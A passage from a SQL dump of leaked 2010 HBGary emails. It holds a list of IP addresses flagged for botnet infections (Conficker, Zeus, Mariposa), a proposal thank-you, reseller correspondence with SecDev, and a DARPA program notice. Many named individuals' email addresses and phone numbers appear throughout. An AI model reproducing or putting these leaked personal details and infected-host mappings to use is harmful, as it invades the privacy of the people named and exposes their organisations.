28.428327%\r\nEvents :\r\n	Conficker A/B : Fri Jan 29 09:39:53 2010 GMT\r\n\r\nIP : 192.195.67.119\r\nConfidence : 74.189803%\r\nEvents :\r\n	Conficker A/B : Thu May 20 17:03:04 2010 GMT\r\n\r\nIP : 198.102.219.131\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Wed Feb 11 16:33:40 2009 GMT\r\n\r\nIP : 192.203.182.2\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Wed Aug 19 07:37:58 2009 GMT\r\n\r\nIP : 198.180.195.209\r\nConfidence : 59.748051%\r\nEvents :\r\n	Mariposa : Wed Mar  3 14:47:00 2010 GMT\r\n	Conficker A/B : Thu Mar 25 12:57:56 2010 GMT\r\n\r\nIP : 199.88.194.29\r\nConfidence : 71.875%\r\nEvents :\r\n	Mariposa : Thu Mar  4 03:16:49 2010 GMT\r\n	Conficker A/B : Fri May  7 05:48:46 2010 GMT\r\n\r\nIP : 199.181.130.5\r\nConfidence : 25.023806%\r\nEvents :\r\n	Conficker A/B : Sun Jan 17 00:51:36 2010 GMT\r\n\r\nIP : 199.181.130.10\r\nConfidence : 10%\r\nEvents :\r\n	P2P : Tue Aug  4 09:59:00 2009 GMT\r\n\r\nIP : 199.181.134.212\r\nConfidence : 99.857644%\r\nEvents :\r\n	Conficker C : Fri May 28 17:35:35 2010 GMT\r\n	Conficker A/B : Mon May  3 21:02:13 2010 GMT\r\n\r\nIP : 199.181.135.135\r\nConfidence : 73.682445%\r\nEvents :\r\n	Conficker A/B : Mon May 17 04:23:15 2010 GMT\r\n	Spam : Thu Feb 11 14:59:00 2010 GMT\r\n\r\nIP : 204.238.46.100\r\nConfidence : 100%\r\nEvents :\r\n	Hamweq : Tue Dec 15 19:59:00 2009 GMT\r\n	Bobax : Wed Jul 22 23:59:00 2009 GMT\r\n	Mariposa : Sat Mar  6 02:29:36 2010 GMT\r\n	Spam : Thu Mar 12 22:59:00 2009 GMT\r\n	Conficker C : Sat May 29 19:43:26 2010 GMT\r\n	Conficker A/B : Tue May 25 08:04:24 2010 GMT\r\n\r\nIP : 204.128.230.1\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Sat Jan 31 00:45:38 2009 GMT\r\n	Spam : Thu Feb  5 05:59:00 2009 GMT\r\n\r\nIP : 204.128.245.34\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan 30 19:59:00 2009 GMT\r\n\r\nIP : 204.128.245.58\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 18:59:00 2009 GMT\r\n\r\nIP : 204.128.192.3\r\nConfidence : 99.992982%\r\nEvents :\r\n	Zeus : Wed Mar  3 00:27:54 2010 GMT\r\n	Conficker C : Sat May 29 12:52:40 2010 GMT\r\n	Conficker A/B : Wed May  5 20:17:32 2010 GMT\r\n\r\nIP : 204.128.192.4\r\nConfidence : 98.414243%\r\nEvents :\r\n	Zeus : Wed Mar  3 00:47:17 2010 GMT\r\n	Conficker C : Thu May 27 04:11:54 2010 GMT\r\n	Conficker A/B : Thu May 20 15:14:33 2010 GMT\r\n\r\nIP : 153.7.50.176\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 10 08:59:00 2009 GMT\r\n\r\nIP : 153.7.84.191\r\nConfidence : 34.905318%\r\nEvents :\r\n	Spam : Tue Feb 23 23:59:00 2010 GMT\r\n\r\nIP : 153.7.134.93\r\nConfidence : 18.828152%\r\nEvents :\r\n	Spam : Sat Dec 26 22:59:00 2009 GMT\r\n\r\nIP : 153.7.207.106\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 153.7.208.63\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 20 16:59:00 2009 GMT\r\n\r\nIP : 204.69.150.39\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 06:59:00 2009 GMT\r\n\r\nIP : 153.6.17.148\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 27 19:59:00 2009 GMT\r\n\r\nIP : 153.6.22.16\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar  3 09:59:00 2009 GMT\r\n\r\nIP : 153.6.29.118\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 13 21:59:00 2009 GMT\r\n\r\nIP : 153.6.117.143\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Aug 15 21:59:00 2009 GMT\r\n\r\nIP : 153.6.133.70\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Aug 10 10:59:00 2009 GMT\r\n\r\nIP : 153.6.191.244\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 11 19:59:00 2009 GMT\r\n\r\nIP : 153.6.224.208\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 14 07:59:00 2009 GMT\r\n\r\nIP : 153.6.229.119\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 153.6.248.23\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 13 00:59:00 2009 GMT\r\n\r\nIP : 139.104.12.192\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Apr 29 04:59:00 2009 GMT\r\n\r\nIP : 139.104.34.240\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Jan 15 01:59:00 2009 GMT\r\n\r\nIP : 139.104.47.27\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 139.104.69.91\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 07:59:00 2009 GMT\r\n\r\nIP : 139.104.75.109\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb 16 22:59:00 2009 GMT\r\n\r\nIP : 139.104.77.139\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Jan 25 09:59:00 2009 GMT\r\n\r\nIP : 139.104.132.209\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 139.104.148.57\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 20 10:59:00 2009 GMT\r\n\r\nIP : 139.104.195.144\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 19:59:00 2009 GMT\r\n\r\nIP : 139.104.207.35\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb 12 19:59:00 2009 GMT\r\n\r\nIP : 208.114.97.106\r\nConfidence : 35.034176%\r\nEvents :\r\n	IRC Bot : Wed Feb 24 20:54:44 2010 GMT\r\n	Conficker A/B : Thu Jan 28 16:53:27 2010 GMT\r\n\r\nIP : 208.114.97.107\r\nConfidence : 73.739957%\r\nEvents :\r\n	Mariposa : Wed May 12 17:59:51 2010 GMT\r\n	Conficker A/B : Mon May 17 22:06:56 2010 GMT\r\n\r\nIP : 216.7.144.26\r\nConfidence : 71.534269%\r\nEvents :\r\n	IRC Bot : Sat Feb 13 03:17:44 2010 GMT\r\n	Storm : Wed May  5 23:59:00 2010 GMT\r\n\r\nIP : 216.7.144.27\r\nConfidence : 99.732935%\r\nEvents :\r\n	IRC Bot : Sun Apr  4 05:42:51 2010 GMT\r\n	Conficker A/B : Mon May 10 18:50:14 2010 GMT\r\n	Storm : Fri May 28 19:59:00 2010 GMT\r\n\r\nIP : 216.7.144.28\r\nConfidence : 10%\r\nEvents :\r\n	Storm : Thu Jun 18 22:59:00 2009 GMT\r\n\r\nIP : 216.7.144.29\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Wed Jun 24 20:30:30 2009 GMT\r\n	Storm : Sun Apr 12 02:59:00 2009 GMT\r\n\r\nNetBlocks Searched:\r\n153.8.214.186;153.8.255.255\r\n192.195.66.0;192.195.66.255\r\n192.195.67.0;192.195.67.255\r\n198.22.77.0;198.22.77.255\r\n198.102.219.0;198.102.219.255\r\n192.203.182.0;192.203.182.255\r\n198.203.190.0;198.203.190.255\r\n198.178.187.0;198.178.187.255\r\n198.178.188.0;198.178.188.255\r\n198.178.189.0;198.178.189.255\r\n198.187.189.0;198.187.189.255\r\n198.187.190.0;198.187.190.255\r\n198.180.195.0;198.180.195.255\r\n199.88.194.0;199.88.194.255\r\n199.181.129.0;199.181.135.255\r\n199.4.128.0;199.4.128.255\r\n204.225.142.0;204.225.142.255\r\n204.238.46.0;204.238.46.255\r\n205.159.75.0;205.159.75.255\r\n204.87.208.0;204.87.208.255\r\n204.75.167.0;204.75.167.255\r\n204.80.231.0;204.80.231.255\r\n204.128.230.0;204.128.230.255\r\n204.128.245.0;204.128.245.255\r\n199.184.108.0;199.184.108.255\r\n204.128.192.0;204.128.192.255\r\n192.195.65.0;192.195.65.255\r\n153.7.0.0;153.7.255.255\r\n192.124.33.0;192.124.33.255\r\n204.69.150.0;204.69.150.255\r\n198.252.254.0;198.252.254.255\r\n198.200.186.0;198.200.186.255\r\n153.6.0.0;153.6.255.255\r\n192.195.64.0;192.195.64.255\r\n192.195.63.0;192.195.63.255\r\n204.87.172.0;204.87.172.255\r\n12.105.35.16;12.105.35.31\r\n12.35.205.208;12.35.205.223\r\n12.9.240.176;12.9.240.183\r\n12.9.240.240;12.9.240.247\r\n12.151.178.144;12.151.178.151\r\n12.16.33.16;12.16.33.31\r\n12.16.33.32;12.16.33.47\r\n12.8.149.144;12.8.149.151\r\n139.104.0.0;139.104.255.255\r\n174.143.86.16;174.143.86.23\r\n174.143.84.72;174.143.84.79\r\n66.214.252.56;66.214.252.63\r\n66.214.183.128;66.214.183.135\r\n72.32.29.64;72.32.29.71\r\n74.205.110.8;74.205.110.15\r\n98.129.4.192;98.129.4.223\r\n174.143.53.168;174.143.53.175\r\n99.149.150.8;99.149.150.15\r\n69.154.124.16;69.154.124.23\r\n216.139.179.128;216.139.179.255\r\n208.114.97.104;208.114.97.111\r\n216.7.144.24;216.7.144.31\r\n216.7.144.16;216.7.144.23\r\n71.137.135.24;71.137.135.31\r\n76.193.222.96;76.193.222.103\r\n76.193.222.112;76.193.222.119\r\n209.232.174.16;209.232.174.23\r\n63.199.60.64;63.199.60.95\r\n63.199.110.88;63.199.110.95\r\n69.172.241.16;69.172.241.31\r\n69.172.241.64;69.172.241.95\r\n69.172.241.0;69.172.241.15\r\n67.117.254.184;67.117.254.191\r\n63.72.0.0;63.72.3.255\r\n206.171.95.112;206.171.95.119\r\n206.171.95.120;206.171.95.127\r\n63.119.51.88;63.119.51.95\r\n69.218.70.40;69.218.70.47\r\n99.154.185.184;99.154.185.191\r\n70.229.184.112;70.229.184.119\r\n70.250.26.232;70.250.26.239\r\n69.223.213.112;69.223.213.119\r\n69.223.213.208;69.223.213.215\r\n75.5.99.128;75.5.99.135\r\n99.104.208.40;99.104.208.47\r\n209.232.184.32;209.232.184.39\r\n209.232.184.224;209.232.184.231\r\n76.225.166.72;76.225.166.79\r\n76.225.166.104;76.225.166.111\r\n72.3.174.32;72.3.174.39\r\n99.128.232.64;99.128.232.71\r\n99.166.122.96;99.166.122.103\r\n65.196.183.0;65.196.183.7\r\n65.200.51.152;65.200.51.159\r\n207.214.50.208;207.214.50.215\r\n65.218.221.48;65.218.221.55\r\n65.202.72.64;65.202.72.71\r\n208.255.172.32;208.255.172.39\r\n75.49.104.104;75.49.104.111\r\n75.51.249.160;75.51.249.167\r\n75.51.249.224;75.51.249.231\r\n216.133.238.64;216.133.238.127\r\n68.120.93.104;68.120.93.111\r\n69.238.181.184;69.238.181.191\r\n75.19.146.248;75.19.146.255\r\n75.19.145.240;75.19.145.247\r\n216.133.236.160;216.133.236.175\r\n\r\n-- Ted\r\n',4767,'aaron_hbgary_com/4767.html'),(6842,'2010-05-30','\"Mack, Cynthia M.\" <Cynthia.Mack@gd-ais.com>','/aaron@hbgary.com/new/1297004923.M118460P14101Q1697.eml','\"Lemke, Michelle R.\" <IMCEAEX-_O=GDAIS_OU=FIRST+20ADMINISTRATIVE+20GROUP_CN=RECIPIENTS_CN=MICHELLE+2EL@gd-ais.com>,\"Short, Nadia D.\" <Nadia.Short@gd-ais.com>,\"Rawls, Rodger C.\" <Rodger.Rawls@gd-ais.com>,\"Burns, Destiny R.\" <Destiny.Burns@gd-ais.com>,\"McDonald, Rich L.\" <Rich.McDonald@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Prouty, Charlie S\" <Charlie.Prouty@GDIT.com>,\"Saxty, Lori J.\" <Lori.Saxty@gd-ais.com>,\"Metzler, Jay\" <Jmetzler@sms.com>,\"Bill Lillard\" <blillard@emesec.net>,\"Walter, Troy\" <Troy.Walter@gdit.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Castrejon, Tomas M.\" <Tomas.Castrejon@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Anderson, Melvin\" <Melvin.Anderson@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Berthiaume, Richard A.\" <richard.berthiaume@gd-ais.com>,\"Cornell, Billie J.\" <Billie.Cornell@gd-ais.com>,\"Barrett, Rob J.\" <Rob.Barrett@gd-ais.com>,\"Burton, Roger C.\" <Roger.Burton@gd-ais.com>,\"Carron, Brian E.\" <Brian.Carron@gd-ais.com>,\"Brooks, Holly\" <Holly.Brooks@gd-ais.com>,\"Mondloch, Carrie H.\" <carrie.mondloch@gd-ais.com>,\"Joseph, Carol M.\" <Carol.Joseph@gd-ais.com>,\"Carolina, Shelby D.\" <shelby.carolina@gd-ais.com>,\"Carter, Richard (NE)\" <Richard.Carter@gd-ais.com>,\"Maria Horton\" <mchorton@emesec.net>,\"Jacks, Christopher\" <Christopher.Jacks@gdit.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>,\"Duck, Kenneth I.\" <ken.duck@gd-ais.com>,\"Domingue, Duane D.\" <duane.domingue@gd-ais.com>,\"Jackson, Eric D.\" <eric.jackson@gd-ais.com>,\"Nieves, Efrain\" <Efrain.Nieves@gd-ais.com>,\"Lhotka, Erven R.\" <erven.lhotka@gd-ais.com>,\"Egloff, Susan C.\" <Susan.Egloff@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hilliard, Jennifer M.\" <Jennifer.Hilliard@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>,\"Hart, Kelly J.\" <Kelly.Hart@gd-ais.com>,\"Hill, Pamela E.\" <Pamela.Hill@gd-ais.com>,\"Varga, Joan A.\" <Joan.Varga@gd-ais.com>,\"John Reed Stark\" <JStark@StrozFriedberg.com>,\"Michael, Jim A.\" <Jim.Michael@gd-ais.com>,\"Petrauskas, Karen J.\" <karen.petrauskas@gd-ais.com>,\"Satterfield, Linda S.\" <linda.satterfield@gd-ais.com>,\"Luna, Roby\" <rluna@sms.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"McLaine, Kate L.\" <Kate.McLaine@gd-ais.com>,\"White-Taber, Marjorie J.\" <marjorie.taber@gd-ais.com>,\"Green, Rosemary\" <rosemary.green@gd-ais.com>,\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>,\"Tilden, Michael J.\" <michael.tilden@gd-ais.com>,\"Newman, Christopher J.\" <Christopher.Newman@gd-ais.com>,\"Raja, Razwan N.\" <Razwan.Raja@gd-ais.com>,\"Walter, Troy\" <Troy.Walter@gdit.com>,\"Kyburz, William (EXT) (GDIT)\" <William.Kyburz@gdit.com>','RE: FBI ESOC - Thank You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichelle, it is amazing what you and your team accomplished in such short timeframe. Thank you all, and congratulations on a job well done!&nbsp; The framework is now set to go after other SOC work.\r\nCynthia M.\r\n_____________________________________________\r\n\r\nFrom: Lemke, Michelle R. \r\n\r\nSent: Friday, May 28, 2010 3:19 PM\r\n\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; Prouty, Charlie S; Saxty, Lori J.; Metzler, Jay; Bill Lillard; Walter, Troy; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi,\r\nCharles B.; Anderson, Melvin; Aaron Barr; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); Maria\r\nHorton; Jacks, Christopher; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill,\r\nPamela E.; Varga, Joan A.; John Reed Stark; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; Luna, Roby; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.;\r\nRaja, Razwan N.; Walter, Troy; Kyburz, William (EXT) (GDIT)\r\n\r\nSubject: FBI ESOC - Thank You\r\n&nbsp;\r\n&nbsp;\r\nJust a note out to all of you that the FBI ESOC proposal has been sent to the customer via e-mail and FedEx. \r\n&nbsp;\r\nThanks to all of you who spent so much time and effort helping us put together a solid document in order to win the FBI ESOC work. Many long hours were put in by so many and others were quick to assist in so many ways,\r\nit was truly appreciated! \r\n&nbsp;\r\nIf I&#8217;ve missed anyone on this e-mail please help me by passing it along, there were just so many to remember. \r\n&nbsp;\r\nI look forward to a WIN and our continued work together in the future. \r\n&nbsp;\r\nThanks again for all your support, have a great weekend! \r\n&nbsp;\r\nMichelle\r\n&nbsp;\r\nMichelle Lemke\r\nSenior Manager Business Development\r\nGeneral Dynamics Advanced Information Systems\r\nBB&nbsp; 703-946-1495\r\nC 757-286-9239\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',842,'aaron_hbgary_com/842.html'),(6843,'2010-05-31','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004923.M586939P14101Q1698.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>,','Re: Introduction','Dear Penny, Aaron,I am writing to follow up on the email below regarding marketing both HBGary products and services in Canada, and to modify the reseller agreement that you sent me as required.Aaron: I also wanted to clarify whether we could use the license that you gave Nart for our own commercial work, and what the modalities would be on that. We have a job coming up that would require HBGary product deployment, so I wanted to ensure that we have the right commercial agreement in place on that end.Best wishes,ArnavOn 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:Hello Penny,I am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary\'s products in Canada.In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.Do let me know your thoughts on this.Best wishes,Arnav\r\n\r\nOn 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:Cool, thanks&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Thursday, May 20, 2010 12:13 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Thanks Penny, will have a look and get back to you by early next week.&nbsp;Best,Arnav&nbsp;On 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:Hi Guys,&nbsp;Attached is our standard reseller form.&nbsp; Here are datasheets and two white papers.&nbsp; We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out.&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Wednesday, May 19, 2010 4:18 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hi Aaron,&nbsp;I\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007&nbsp;Best,Arnav&nbsp;On 2010-05-18, at 4:22 PM, Aaron Barr wrote:Hi Arnav,&nbsp;Sure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?&nbsp;AaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,&nbsp;Thanks for this. It was good to speak to you on Friday.&nbsp;Looking forward to receiving a reseller agreement/other materials that we can go through.&nbsp;Best wishes,Arnav&nbsp;&nbsp;Arnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged&nbsp;World Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.&nbsp;&nbsp;On 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:From:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Date:&nbsp;May 14, 2010 11:14:20 AM EDTTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;Subject:&nbsp;IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.Nart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.Aaron&nbsp;&nbsp;&lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;&nbsp;',1971,'aaron_hbgary_com/1971.html'),(6844,'2010-05-31','\"Nart Villeneuve\" <n.villeneuve@secdev.ca>','/aaron@hbgary.com/new/1297004923.M832215P14101Q1699.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Hi Aaron & Scott,\r\n\r\nThanks for the introduction. It would be great to discuss malware\r\nattacks and possibly present -- I\'m not sure when the conference is\r\nexactly. I\'ll be in Estonia for the CCD COE conference in mid-June.\r\n\r\nThanks.\r\nNart\r\n\r\nOn 05/14/2010 11:14 AM, Aaron Barr wrote:\r\n> Scott,\r\n> Let me introduce Nart Villeneuve.  Nart is the CTO for SecDev.  Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet).  Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\n> \r\n> Nart,\r\n> Scott managed the Blue Team at NSA and is putting together this years conference.  He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc.  I mentioned to him I thought your talk would be appropriate and engaging.\r\n> \r\n> Aaron\r\n',5443,'aaron_hbgary_com/5443.html'),(6845,'2010-05-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004924.M288074P14101Q1701.eml','\"Scott Chappell\" <scott.chappell@smdc-cs.army.mil>','Classified Meeting?','Hi Scott,\r\n\r\nAaron Barr will be in town this Wed-Fri.  He can support a classified\r\ndiscussion if you think the timing is right and can arrange an\r\nappropriate audience.\r\n\r\nTed\r\n',1647,'aaron_hbgary_com/1647.html'),(6846,'2010-05-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004924.M533130P14101Q1702.eml','\"John Tesch\" <jtesch@coloradotech.edu>','Meet?','Hi John,\r\n\r\nAaron Barr will be in Colorado Springs this Wed-Fri, if you\'d like to\r\nmeet to discuss the CTU security lab and how you think HBGary can\r\nhelp.\r\n\r\nTed\r\n',11884,'aaron_hbgary_com/11884.html'),(6847,'2010-05-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004924.M70610P14101Q1700.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','CRASH','https://www.fbo.gov/index?s=opportunity&mode=form&id=14bf08a5ec88b54cff5bea0a7c4d9bd9&tab=core&_cview=0\r\n\r\nThe Defense Advanced Research Projects Agency (DARPA) will conduct a\r\nProposers\' Day briefing in support of the anticipated Clean-slate\r\ndesign of Resilient, Adaptive, Secure Hosts (CRASH) program Broad\r\nAgency Announcement (BAA). Any BAA released will be found on the\r\nFedBizOpps website, http://www.fedbizopps.gov.\r\n\r\n\r\nAttendance at the Proposers\' Day is voluntary and is not required to\r\npropose to subsequent BAAs (if any) or research solicitations (if any)\r\non this topic. DARPA will not provide reimbursement for costs incurred\r\nto participate in this Proposers\' Day. The Proposers\' Day announcement\r\ndoes not constitute a formal solicitation for proposals or abstracts.\r\nInterested parties to this notice are cautioned that nothing herein\r\nobligates the Government to issue a future solicitation.\r\n\r\n\r\nPROGRAM DESCRIPTION AND OBJECTIVE\r\nThe CRASH program is seeking innovative research into the design of\r\nnew computer systems that:\r\n• Are highly resistant to cyber-attack;\r\n• Can adapt after a successful attack in order to continue rendering\r\nuseful services;\r\n• Learn from previous attacks how to guard against and cope with\r\nfuture attacks; and\r\n• Can repair themselves after attacks have succeeded.\r\n\r\n\r\nCurrent computer systems are highly vulnerable to cyber attack. There\r\nare very few fundamental sources of the vulnerabilities exploited by\r\ncyber attackers. These attacks stem from the fact that current\r\ncomputer systems cannot enforce the intended semantics of their\r\ncomputations.\r\n\r\n\r\nWhile these problems are not new, they have not been adequately dealt\r\nwith largely because designers have been intellectually and\r\ninstitutionally bound by the need to maintain compatibility with\r\nlegacy systems. These constraints have limited the range of hardware\r\narchitectures, system software designs, programming languages, etc.\r\nthat have been considered.\r\n\r\n\r\nThe CRASH program seeks to break these intellectual constraints by\r\nlooking at the problem (as the name implies) from a clean slate\r\nperspective. In CRASH, the clean slate approach will involve the\r\nco-design of the hardware, system software, programming languages,\r\ndesign environments, and formal methods. The primary goal of this\r\nprogram is to design new techniques that can effectively solve the\r\nproblems described above; compatibility and legacy concerns are\r\nsecondary.\r\n\r\n\r\nThe CRASH program will include the following technical areas of interest:\r\n\r\n\r\n1. Processor architectures\r\n2. Operating systems\r\n3. Formal methods\r\n4. Programming languages and environments\r\n5. Machine learning, self-adaptation, diagnosis, recovery, and repair\r\n6. Dynamic diversification\r\n\r\n\r\nGOALS\r\n\r\nThe purpose of the Proposers\' Day is to outline the CRASH program\r\ntechnical goals and challenges and to promote an understanding of the\r\nBAA proposal requirements. There will be Q & A session following the\r\npresentation.\r\n\r\n\r\nInformation on the anticipated CRASH solicitation will be available on\r\nthe TCTO solicitations page at\r\nhttp://www.darpa.mil/tcto/solicitations.html following the publication\r\nof the BAA in FedBizOpps. It is anticipated that the CRASH BAA will be\r\nreleased after the Proposers\' Day. If a BAA is released, then\r\nmaterials presented at the Proposers\' Day may be posted to the TCTO\r\nwebpage along with a FAQ document compiling questions and answers from\r\nthe Proposers\' Day as well as from any interested offerors.\r\n\r\n\r\nREGISTRATION\r\n\r\n\r\nParticipants MUST register at http://www.sa-meetings.com/DARPA_CRASH\r\nno later than 2359 on Tuesday, 01 June 2010. Registration is limited\r\nto 100 attendees. Only two representatives from each organization or\r\ninstitution may attend.\r\n\r\n\r\nDATE AND LOCATION\r\n\r\n\r\nThe Proposers\' Day will occur on Friday, 04 June 2010 from 0900 ET to\r\n1300 ET at the Executive Conference Center at Liberty Center, 4075\r\nWilson Boulevard, Suite 350, Arlington, Virginia 22203. Registration\r\nopens at 0800 ET.\r\n\r\n\r\nPOINTS OF CONTACT\r\n\r\n\r\nAdministrative Point of Contact: Mr. Dan Adams, DARPA-SN-10-49@darpa.mil\r\nContracting Point of Contact: Mr. Michael Mutty, DARPA-SN-10-49@darpa.mil\r\n\r\n\r\nFULL PDF VERSION OF THIS SPECIAL NOTICE IS ATTACHED\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',2028,'aaron_hbgary_com/2028.html'),(6848,'2010-05-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004935.M882631P14101Q1703.eml','\"Doug Wheeler\" <doug@p3rsonal.com>','Feb. 14th--Brynn talking about 